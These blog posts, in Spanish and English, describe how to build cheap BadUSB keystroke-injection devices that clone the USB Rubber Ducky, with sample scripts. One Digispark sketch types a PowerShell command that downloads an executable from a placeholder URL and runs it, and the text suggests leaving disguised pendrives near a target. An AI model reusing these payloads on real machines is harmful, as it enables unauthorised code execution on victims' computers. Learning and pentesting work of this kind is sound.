Aunque solo sea por ser el mas famoso, y porque vamos a acabar usando su lenguaje de scripting, vamos a hacer una reseña sobre el USB Rubber Ducky: es un dispositivo desarrollado y comercializado por la empresa estadounidense Hak5 que una vez conectado al ordenador se comporta como un teclado virtual, programable a través de un sistema de scripting relativamente simple (scripts que una vez escritos han de ser compilados y almacenados en formato binario en su tarjeta micro SD).

Como ejemplo: el clásico “Hola Mundo”:

DELAY 3000
GUI r
DELAY 500
STRING notepad
DELAY 500
ENTER
DELAY 750
STRING Hello World!!!
ENTER

El código hace lo siguiente:

Delay 3000: Espera “x” milisegundos (en este caso se produce una pausa larga al inicio para la instalación de drivers en el equipo, aunque también se utiliza para dar un tiempo prudencial a que se abra un programa u otras tareas)

GUI r: Pulsa las teclas Windows (GUI) y “R” simultáneamente para abrir la ventana “Ejecutar” en un sistema operativo Windows

STRING notepad: Manda una cadena de caracteres, en este caso Notepad (editor de textos de windows)

ENTER: Envia la tecla Enter, en este caso para ejecutar el programa Notepad

STRING Hello World!!!: Manda una cadena de caracteres, en este caso Hello World!!!

ENTER: Envía la tecla Enter, en éste caso para introducir el carácter de nueva línea.

La referencia completa al lenguaje de scripting se puede encontrar aquí, algunos scrips de ejemplo aquí (La mayoría de dichos scripts pueden encontrarse debidamente revisados para Windows 10 en el github de Joel).

Una vez explicado para que sirve el dispositivo y mostrado un payload de ejemplo, algunas personas se pueden encontrar con una barrera: el precio, cuesta unos 45 US$ (mas 12US$ de envío) que está muy bien para algunos sectores profesionales o semiprofesionales, pero puede estar fuera de alcance de algunas personas que solo les apetece “cacharrear”.

Por eso, después de buscar mucho, valorar opciones y un montón de horas de picar código, os presentamos como hacer un clon perfecto del USB Rubber Ducky, que interpreta sus scripts a la perfección sin siquiera tener que compilarlos, por unos 10€ o menos.

El dispositivo en concreto que vamos a utilizar es éste:

Se puede encontrar fácilmente en aliexpress buscando badusb.

NOTA IMPORTANTE: Aunque en los resultados salen otros dispositivos, en éste artículo nos referimos ÚNICAMENTE al mostrado en la fotografía

El dispositivo presenta las siguientes características de hardware:

  • Microcontrolador ATmega32u4 (32KB de flash y 2,5KB de ram) con bootloader de Arduino Leonardo

  • Tarjeta microSD

  • Circuitería auxiliar varia (circuitería discreta, oscilador a 16mhz, regulador de tensión a 3,3v y conversor de niveles)

Vamos al meollo de la cuestión:

Instalación y configuración:

Para poder hacer este BadUSB, necesitaremos:

  • Tener el dispositivo mencionado anteriormente.

  • IDE de Arduino (Descargable de https://www.arduino.cc/en/Main/Software)

    • Una vez instalado debemos asegurarnos de que las librerías estén actualizadas.

    • En caso de usar Linux debemos asegurarnos que nuestro usuario pertenece al grupo dialout

    • En el caso de usar Windows deberemos tener correctamente instalados los drivers de Arduino Leonardo

  • Librería de teclado multi idioma (https://github.com/ernesto-xload/arduino_keyboardlib) ya que por defecto la de arduino solo soporta teclados con el layout en_US

  • Firmware del interpretador: Descargable desde aquí

Una vez todo correctamente instalado, ejecutamos el IDE de Arduino y abrimos el código del interpretador: Archivo > Abrir

Tenemos que asegurarnos que todo está configurado para la placa compatible con Arduino Leonardo, para ello vamos a la opción de herramientas -> Placa -> “Arduino Leonardo”. Posiblemente nos asignará el puerto, si no, seleccionamos el correspondiente.

Conectamos el dispositivo.

Compilamos y subimos el código con el botón correspondiente.

En la parte inferior del IDE de Arduino veremos si se ha grabado correctamente:

Con ésto ya tenemos el clon del USB Rubber Ducky listo, a partir de aquí sólo hay que copiar el script de USB Rubber Ducky correspondiente en una microsd formateada en fat16 o fat32 con el nombre “script.txt” y una vez insertado en un ordenador procederá a su ejecución.

Por supuesto el código fuente del interpretador es software libre y podemos modificarlo a nuestro gusto, añadiendo nuevos comandos o personalizando los ya existentes, de hecho existen dos comandos extra a modo de ejemplo: led_on y led_off (en minúsculas) que encienden y apagan el led presente.

Como ejemplo vamos a probar el payload You got quaqued!, del propio repositorio de Hak5.

NOTA: Algunos payloads hechos para el USB Rubber Ducky disponibles en al repositorio de Hak5, están preparados para Windows 7, y necesitan ser modificados para versiones posteriores de éste sistema operativo (se pueden encontrar ya modificados en éste enlace como hemos dicho anteriormente). En este caso concreto, lo hemos modificado para poder utilizarlo en Windows 10 y no tengamos ningún error:

DELAY 1000
GUI d
DELAY 500
GUI r
DELAY 500
STRING chrome
DELAY 500
ENTER
DELAY 5000
STRING https://i.imgflip.com/1dv8ac.jpg
DELAY 500
ENTER
DELAY 3000
CTRL s
DELAY 1000
STRING %userprofile%\Desktop\QUACKED
ENTER
DELAY 500
GUI d
DELAY 500
GUI r
DELAY 500
STRING %userprofile%\Desktop\QUACKED.jpg
ENTER
DELAY 1000
MENU
DELAY 500
DOWNARROW
DELAY 500
DOWNARROW
DELAY 500
ENTER
ALT F4
DELAY 500
GUI d
DELAY 500
MENU
DELAY 500
STRING v
DELAY 500
STRING d

Como somero resumen: lo que hace el payload es abrir Chrome, entrar a un enlace donde encontramos una imagen del USB Rubber Ducky, la descarga, la pone de fondo de pantalla del escritorio y, por último, oculta todos los iconos del escritorio.

Podemos ver que el lenguaje que utiliza este payload, es exactamente el mismo que utiliza el USB Rubber Ducky. De ésta forma, podemos usar cualquier payload existente para el Rubber Ducky, crear nuestros propios payloads con el mismo lenguaje o utilizar alguna de las múltiples herramientas que los genera automáticamente como Metasploit.

Bonus track:

En la búsqueda que hemos hecho anteriormente en aliexpress hemos podido ver como aparecen otros dispositivos, algunos basados en el Attiny85 que cubrimos en la entrada BadUSB Ultra Low Cost, y otros basados en el Atmega32U4 como el que ha ocupado éste articulo, pero sin zócalo para tarjeta micro SD, son los que se pueden ver a continuación:

Llama especialmente la atención el que se comercializa directamente con el factor de forma de un pendrive acabado en aluminio, en caso de querer realizar un pentesting seria el mas indicado para dejar abandonado en las inmediaciones del objetivo y esperar a que alguien lo conecte. No podemos olvidar la prueba realizada por Elie Bursztein en abril del 2016 plasmada en “Concerns about USB security are real: 48% of people do plug-in USB drives found in parking lots, las cifras hablan por si mismas, y son simplemente apabullantes.

En éste caso no podemos hacer de script kiddies o usar alguna herramienta de “botón gordo” y vamos a tener que programar el código que queremos que ejecute el microcontrolador directamente, cosa no muy complicada debido a toda la documentación existente, pero amigos… el hacking implica fundamente aprender y conocer, por eso nunca os damos todo hecho, perdería toda la gracia.

A continuación mostramos un ejemplo, muy básico que abre un bloc de notas y escribe la cadena “hola mundo” (es válido tanto para Windows como para Linux con Gnome o derivados comentando y/o descomentando las líneas correspondientes):

#include "Keyboard.h"

void setup() {
	// Inicializamos el teclado
	Keyboard.begin();

}

void loop() {
	delay(20000); // Espera 20 segundos (20000 milisegundos) 	
        CommandAtRunBarMSWIN("notepad"); 
        // Abre notepad en Windows 	
        //CommandAtRunBarGnome("gedit"); // Abre gedit en Gnome
	Keyboard.println("hola mundo"); // Enviá “hola mundo”
	while(1); // Detiene la ejecucion del programa.

} 

void CommandAtRunBarMSWIN(char *SomeCommand { 
	Keyboard.press(KEY_LEFT_GUI);
	Keyboard.press('r');
	delay(100);
	Keyboard.releaseAll();
	delay(1500);
	Keyboard.print(SomeCommand);
	Keyboard.press(KEY_RETURN);
	Keyboard.releaseAll();

}

void CommandAtRunBarGnome(char *SomeCommand){
	Keyboard.press(KEY_LEFT_ALT);
	Keyboard.press(KEY_F2);
	delay(100);
	Keyboard.releaseAll();
	delay(1500);
	Keyboard.print(SomeCommand);
	Keyboard.press(KEY_RETURN);
	Keyboard.releaseAll(); }

Las funciones CommandAtRunBarMSWIN y CommandAtRunBarGnome han sido extraídas de la librería phukdlib de IronGeek que aunque originalmente está preparada para dispositivos Teensy podéis descargarla modificada para Arduino Leonardo y compatibles aquí.

Para cualquier duda o sugerencia podéis contactar con nosotros a través de los enlaces que hemos proporcionado de Twitter y Github o bien el canal de Telegram de The Hacker Way.

¡Hasta la próxima!

Get back the low cost duck, now squawks like an original USB Rubber Ducky

septiembre 5, 2017 Deja un comentario

About the authors: Ernesto Sánchez (@ernesto_xload) and Joel Serna (@JoelSernaMoreno) are computer security consultants who have participated in events such as: Black Knife, MorterueloCON and Eastmadhack.

 

 

Hi everyone!

Long time ago, we show you how to make a BadUSB device so cheap (around 1 euro), you can read it here. To practical effects, we explained how to mount a Rubber Ducky USB device, in the matter that it behaves like an automatic keyboard and pre-programmed to do some specific functions. but may be some short sometimes, especially by the limited storage and RAM memory of your ATTINY85 microcontroller: 8KB flash and 512 bytes of ram.

As it not be otherwise, we have been thinking this matter and offer something more functional and, above all, easier to use. One of the desirable options, that seemed to us most useful, was that you could directly use USB Rubber Ducky scripts without having to adapt them in any way, due to its extensive expansion, knowledge and examples that exist on the internet.

As we mentioned in the previous article, a BadUSB is a USB device with the appearance of another device (for confuse the user) that when is connected to any computer does “other things”, The more usual fact, emulates a keyboard that automatically “types” what we have programmed at high speed without the user realizing what we have done.

When we talk about BadUSB, overall, we talk about many devices, from some hacked devices, to such effect as the pendrives with the controller Phison 2251-03 (2303), generic development devices such as Teensy (in any of its variants), Arduino Leonardo / Micro or specific devices oriented to Security audits such as the Phoenix Ovipositor or the USB Ruber Ducky, being this last one the most famous among the hacker community (always be understood in the good meaning of the word, for more information about hacker community visit this link).

Not only because it is the most famous, and because we will end up using its scripting language, we are going to review the USB Rubber Ducky: it is a device developed and marketed by the US company Hak5 that once connected to the computer, it behaves like a virtual keyboard, programmable through a relatively simple scripting system (scripts that once written must be compiled and stored in binary format on your micro SD card).

As an example: the classic “Hello World”:

DELAY 3000
GUI r
DELAY 500
STRING notepad
DELAY 500
ENTER
DELAY 750
STRING Hello World!!!

ENTER

The code does the following things:

DELAY 3000: Wait “x” milliseconds (in this case a long pause occurs at driver installation on the computer, but it is also used to a reasonable time to open a program or other tasks)

GUI r: Press the Windows (GUI) and “R” keys simultaneously to open the window

“Run” on a Windows operating system

STRING notepad: Sends a characters string, in this case Notepad (editor texts of windows)

ENTER: Send the Enter key, in this case to execute the program Notepad

STRING Hello World!!!: Send a character string, in this case Hello World!!!

ENTER: Send the Enter key, in this case to enter the new line character.

The full reference to the scripting language can be found here, some scripts here (Most scripts can be found revised for Windows 10 in Joel’s github).

Once explained for what the device serves are used and showed an example payload, some people may find a problem: the price, it costs about 45 US $ (Plus $ 12 shipping cost) which is fine for some professional sectors, but for “normal people like us” maybe that price is outside the budget if we only want to “play a little”

That is why, after searching, view differents options and a lot of hours of itching code, we show you how to make a perfect USB Rubber Ducky clone, which interprets their scripts perfectly without even having to compile them, for only 10 € or less.

The device which we are going to use is this:

It can be easily found on aliexpress, searching for badusb


EXPLANATORY NOTE: Although other devices are output in the results article we refer ONLY to that shown in the photograph

The device has the following hardware features:

  • ATmega32u4 microcontroller (32KB flash and 2.5KB ram) with Bootloader by Arduino Leonardo

  • MicroSD card

  • Auxiliary circuitry varies (discrete circuitry, oscillator at 16mhz, Voltage to 3.3v and level converter)

Installation and configuration:

To be able to do this BadUSB, we will need:

  • Have the device mentioned above.
  • Arduino IDE (Downloadable from https://www.arduino.cc/en/Main/Software)
    • Once installed we must make sure that the libraries are updated.
    • In case of using Linux we must make sure that our user belongs to the dialout group
    • In case of using Windows we must have correctly installed the Arduino Leonardo drivers

Once everything is properly installed, run the Arduino IDE and open the Interpreter code: File > Open

We have to make sure everything is set up for the board compatible with Arduino Leonardo, for this we go to the option of tools -> Board -> “Arduino Leonardo “. Possibly we will assign the port, if not, select the port corresponding.

We connect the device.

We compile and upload the code with the corresponding button.

At the bottom of the Arduino IDE we will see if it has been recorded correctly:

With this instructions, we already have the USB Rubber Ducky clone ready for use,now er need copy the corresponding Rubber Ducky USB script into a microsd formatted in fat16 or fat32 with the name “script.txt” and once inserted in a computer shall, it begin to run it.

Of course, the source code of the interpreter is free software and we can modify it to our liking, adding new commands or customizing them exist, there are, in fact, two extra commands by way of example: led_on and led_off (In lower case) that turn on and off the present LED.

As an example we will test the payload You got quaqued!, from the repository itself Hak5.

NOTE: Some payloads made for USB Rubber Ducky , they are available at Hak5 repository, are prepared for Windows 7, and need to be modified for latest versions of this operating system (you can find modified in this link as we have said previously). In this matter, we have modified it to be able to use it in Windows 10 and we have no error:

DELAY 1000
GUI d
DELAY 500
GUI r
DELAY 500
STRING chrome
DELAY 500
ENTER
DELAY 5000
STRING https://i.imgflip.com/1dv8ac.jpg
DELAY 500
ENTER
DELAY 3000
CTRL s
DELAY 1000
STRING %userprofile%\Desktop\QUACKED
ENTER
DELAY 500
GUI d
DELAY 500
GUI r
DELAY 500
STRING %userprofile%\Desktop\QUACKED.jpg
ENTER
DELAY 1000
MENU
DELAY 500
DOWNARROW
DELAY 500
DOWNARROW
DELAY 500
ENTER
ALT F4
DELAY 500
GUI d
DELAY 500
MENU
DELAY 500
STRING v
DELAY 500
STRING d

As a summary: what payload does is open Chrome, enter a link where we find an image of the USB Rubber Ducky, download it, puts it as Desktop wallpaper, and finally, it hides all the icons on the desktop.

We can see that the language that uses this payload, is exactly the same used by USB Rubber Ducky. In this way, we can use any existing payload for Rubber Ducky, create our own payloads with the same language or use one of the multiple tools that automatically generates them as Metasploit.

Bonus track:

In the search we have done previously in aliexpress, we have been able to see how other devices appear, some based on the Attiny85 that we covered in the entry BadUSB Ultra Low Cost, and others based on the Atmega32U4 like the one we talked in this article, but without socket for Micro SD card, are the ones that can be seen below:

Its curious the fact that it is directly marketed with the shape of a finished pendrive (covered with aluminium), If you want to realize a pentesting, this would be the most suitable to leave in the surroundings of the objective, and wait for someone to connect it. We can not forget the test done by Elie Bursztein in April 2016 expressed in “Concerns about USB security are real: 48% of people do plug-in USB drives found in parking lots” the rates speak for themselves, and they are overwhelming.

In this case we can not do script kiddies or use any tool “Fat button”and we will have to program the code that we want to run on the Microcontroller directly, thats not a very complicated task because there are a lot of documentation for it, but, my dear friends … hacking involves learning and Knowing, that’s why we never give you everything done,It loses its appeal.

Here is an example, very basic that opens a notebook and write the string “hello world” (it is valid for both Windows and Linux with Gnome or derivatives commenting and / or uncommenting the corresponding lines):

#include "Keyboard.h"

void setup() {
	// Inicializamos el teclado
	Keyboard.begin();

}

void loop() {
	delay(20000); // Espera 20 segundos (20000 milisegundos) 	CommandAtRunBarMSWIN("notepad"); // Abre notepad en Windows 	//CommandAtRunBarGnome("gedit"); // Abre gedit en Gnome
	Keyboard.println("hola mundo"); // Enviá “hola mundo”
	while(1); // Detiene la ejecucion del programa.

} 

void CommandAtRunBarMSWIN(char *SomeCommand { 
	Keyboard.press(KEY_LEFT_GUI);
	Keyboard.press('r');
	delay(100);
	Keyboard.releaseAll();
	delay(1500);
	Keyboard.print(SomeCommand);
	Keyboard.press(KEY_RETURN);
	Keyboard.releaseAll();

}

void CommandAtRunBarGnome(char *SomeCommand){
	Keyboard.press(KEY_LEFT_ALT);
	Keyboard.press(KEY_F2);
	delay(100);
	Keyboard.releaseAll();
	delay(1500);
	Keyboard.print(SomeCommand);
	Keyboard.press(KEY_RETURN);
	Keyboard.releaseAll(); }

The CommandAtRunBarMSWIN and CommandAtRunBarGnome functions have been from IronGeek’s phukdlib bookstore which were originally created for Teensy devices. You can download it modified for Arduino Leonardo and compatible here.

For any doubt or suggestion you can contact us by the Links we have provided from Twitter and Github, or the Telegram channel from The Hacker Way.

See you soon!

BadUSB Ultra Low Cost

julio 10, 2017 12 comentarios

Sobre los autores: Ernesto Sanchez (@ernesto_xload) y Joel Serna(@JoelSernaMoreno) son consultores en seguridad informática que han participado en eventos como: Navaja Negra, MorterueloCON y Eastmadhack.

Buenos días a todos!

Teníamos pensado hacer 3 artículos sobre distintos BadUSB: (“Introducción”, “Low-cost” y “Soluciones profesionales”), pero dentro de nuestra manía de empezar la casa por el tejado, hemos decidido empezar con un artículo de ultra low cost, mostrando como hacer un BadUSB por 1 euro aproximadamente, que en muchas ocasiones podrá hacer las mismas funciones que el famoso USB Rubber Ducky de Hack5 (44,95 US$ + envío), si, sabemos que puede parecer una locura, pero funciona.

La idea, básica y extremadamente resumida de BadUSB, por si alguien no sabe de que va el asunto aún, es emular un teclado sobre un dispositivo USB normal, para poder emular el comportamiento del usuario, y por tanto poder ejecutar comandos y programas en el sistema atacado, sin el consentimiento de la víctima.

Hemos utilizado como hardware el Digistump Digispark, éste dispositivo utiliza el microcontrolador Attiny85 de Microchip. Dicho microcontrolador es un micro de 8 bits que nos ofrece: 8kb de memoria flash, 512b EEPROM, 512b SRAM y 6 puertos I/O (Enlace al datasheet completo). De este dispositivo se pueden encontrar múltiples clones, con distintos tipos puertos USB, realizados en China en páginas como Aliexpress o Ebay por precios que rondan 1 euro.

Configuración e instalación del software

Una vez hemos obtenido el dispositivo, tenemos que tener en cuenta que, primero tenemos que instalar el IDE de Arduino y también los drivers en el caso de Windows (Aqui).

NOTA: no es aconsejable instalar el IDE de Arduino desde repositorios de nuestra distribución de Linux, suele ser una versión algo obsoleta y puede darnos problemas. Destacar que el funcionamiento del dispositivo es ligeramente distinto a cualquier otro Arduino con el que hayamos trabajado anteriormente y necesita ser desconectado y conectado para ser reprogramado (Hay disponible un dispositivo para hacer ésto por hardware mediante un interruptor disponible aquí, pero no creemos que sea tanta molestia conectar y desconectar el dispositivo cada vez). Lo primero es tener la última versión del arduino IDE (Aquí) y asegurarnos que está todo actualizado.

El segundo paso es bajar el paquete de compatibilidad con ésta placa y el IDE de Arduino para poder trabajar correctamente con ella, para ello tenemos que ir a Archivo -> Preferencias -> Gestor de URLs Adicionales de Tarjetas y añadiremos en una nueva linea lo siguiente (si tenemos alguna no es incompatible):

http://digistump.com/package_digistump_index.json

Simplemente aceptamos y vamos a Herramientas -> Placa -> Gestor de Tarjetas, aquí buscamos Digistump AVR Boards y procedemos a su instalación.

En caso de usar linux, es posible que tengas que tener la versión actual y legacy de libusb, así como añadir unas reglas nuevas de udev, hay un tutorial de Digistump aquí. Comentar que las librerías originales de Digistump solo poseen soporte para emular teclados con el layout en_US (Inglés de EEUU), con lo que es muy aconsejable descargar e instalar la librería con soporte para otros idiomas, disponible aquí.

Hola Mundo

Lo mas clásico, cuando hablamos de microcontroladores, es hacer un blinking led como “Hola mundo”, ésto es un programa que haga parpadear un led a una frecuencia determinada, como en nuestro caso nuestro dispositivo puede comunicarse con algo mas que un led vamos a hacer un “Hola mundo” mediante teclado USB. Tenemos que abrir el IDE de Arduino que hemos descargado y configurado anteriormente, también nos tenemos que asegurar que hemos configurado la placa correcta, para ello vamos a Herramientas -> Placa y seleccionamos “Digisparck (Default – 16.5 mhz)” y ningún puerto.

Como código escribiremos el siguiente:

#define kbd_es_es
#include "DigiKeyboard.h"

void setup() {
  DigiKeyboard.update();
  DigiKeyboard.delay(5000);
}

void loop() {
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  delay(250);
  DigiKeyboard.println(F("notepad"));
  delay(250);
  DigiKeyboard.println(F("Hola mundo!"));
  while(1);
}

El código es muy simple, pero vamos a explicarlo mas detalladamente:

  • #define kbd_es_es : Configura el mapa del teclado, en nuestro caso español de España.
  • #include “DigiKeyboard.h” : Incluye la librería para emulación de teclado.
  • DigiKeyboard.delay(5000) : Espera 5 segundos (por posible instalación de drivers, etc …)
  • DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT) : Pulsa la tecla de Windows + R que hace que aparezca la ventana de ejecutar comando en los sistemas Windows, para los sistemas con Gnome deberiamos enviar KEY_F2 y MOD_ALT_LEFT (Alt + F2)
  • DigiKeyboard.println(F(“notepad”)) : Envía la cadena notepad, seguida de la tecla enter, en gnome podemos poner gedit.
  • DigiKeyboard.println(F(“Hola mundo!”)) : Envía la cadena “Hola mundo” seguida de enter.
  • while(1) : Termina el programa, ya que la sección loop se ejecuta continuamente en bucle.
  • delay(250) : Se han incluido varios a lo largo del código, para dar tiempo a que el sistema operativo anfitrión ejecute la orden anterior.

Lo siguiente es compilar y subir el código, primero podemos pulsar el botón de Verificar para asegurarnos de que no existe ningún error y después pulsar el botón Subir, NOTA: Sin conectar el dispositivo aún. A los pocos segundos, el IDE nos pedirá que conectemos el dispositivo y lo reprogramará como podemos ver en la siguiente captura. Ya está nuestro “hola mundo”, a los pocos segundos ejecutará el código, dicho código está guardado en la flash del Attiny85 con lo que se ejecutará cada vez que conectemos el dispositivo a un ordenador.

Haciendo maldades

Una vez hemos hecho el “Hola mundo” y utilizando el mismo esquema, podemos hacer muchas otras tareas de forma automática, y no todas “buenas” (de ahí el nombre de BadUSB), por ejemplo el siguiente código descarga mediante Powershell un archivo desde una URL y lo ejecuta:

#define kbd_es_es
#include "DigiKeyboard.h"

void setup() {
  DigiKeyboard.update();
  pinMode(1, OUTPUT);
  DigiKeyboard.delay(10000);
}

void loop() {
  delay(1000);
  DigiKeyboard.update();
  delay(100);
  
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // meta+r
  delay(100);
  DigiKeyboard.print(F("powershell "));
  DigiKeyboard.print(F("powershell Import-Module BitsTransfer;"));
  DigiKeyboard.print(F("Start-BitsTransfer -Source \"http://ruta/fichero.exe\" -Destination \"%TEMP%\\fichero.exe\";"));
  DigiKeyboard.println(F("Start-Process \"%TEMP%\\fichero.exe\""));
  
  while(1){
    digitalWrite(1, HIGH);
    delay(1000);
    digitalWrite(1, LOW);
    delay(1000);
  }
}

Se puede observar que al final se ha incluido el código necesario para que el led parpadee y sepamos que la tarea se ha completado.

A partir de aquí el límite es la imaginación de cada uno, como ejemplo el payload que mencionan Álvaro Nuñez-Romero y Santiago Hernández en su artículo para el blog “un informático en el lado del mal” titulado Arducky: Un Rubber Ducky hecho sobre Arduino para hackear Windows #Arduino

También mencionar a KALRONG en su artículo ATtiny85 el famoso Cheap Rubber Ducky, podemos encontrar aquí un conversor de scripts de USB Rubber Ducky al Attiny85, aunque nosotros pensamos que es mejor opción escribirlos enteros de forma nativa por optimización y depuración de los mismos.

Un saludo y hasta la próxima (o próximas)!

A %d blogueros les gusta esto: